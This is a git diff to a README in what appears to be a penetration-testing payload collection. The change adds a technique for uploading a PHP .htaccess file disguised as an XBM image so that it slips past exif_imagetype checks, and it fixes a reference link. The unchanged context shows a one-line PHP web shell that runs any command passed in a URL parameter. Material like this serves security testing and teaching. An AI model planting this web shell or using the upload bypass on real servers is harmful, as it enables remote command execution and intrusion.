diff --git a/Upload insecure files/PHP .htaccess/README.md b/Upload insecure files/PHP .htaccess/README.md
index dabfc53..aa2eaf3 100644
--- a/Upload insecure files/PHP .htaccess/README.md	
+++ b/Upload insecure files/PHP .htaccess/README.md	
@@ -25,7 +25,18 @@ AddType application/x-httpd-php .htaccess
 <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
 ```
 
+# .htaccess upload as image
+
+If on server side for determine the type of an image used exif_imagetype function, try upload .htaccess file like [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) image.
+
+```python
+#define test_width 100
+#define test_height 100
+
+# .htaccess file
+```
+
 ## Thanks to
 
 * [ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen](http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html)
-* [](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)
+* [Protection from Unrestricted File Upload Vulnerability](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)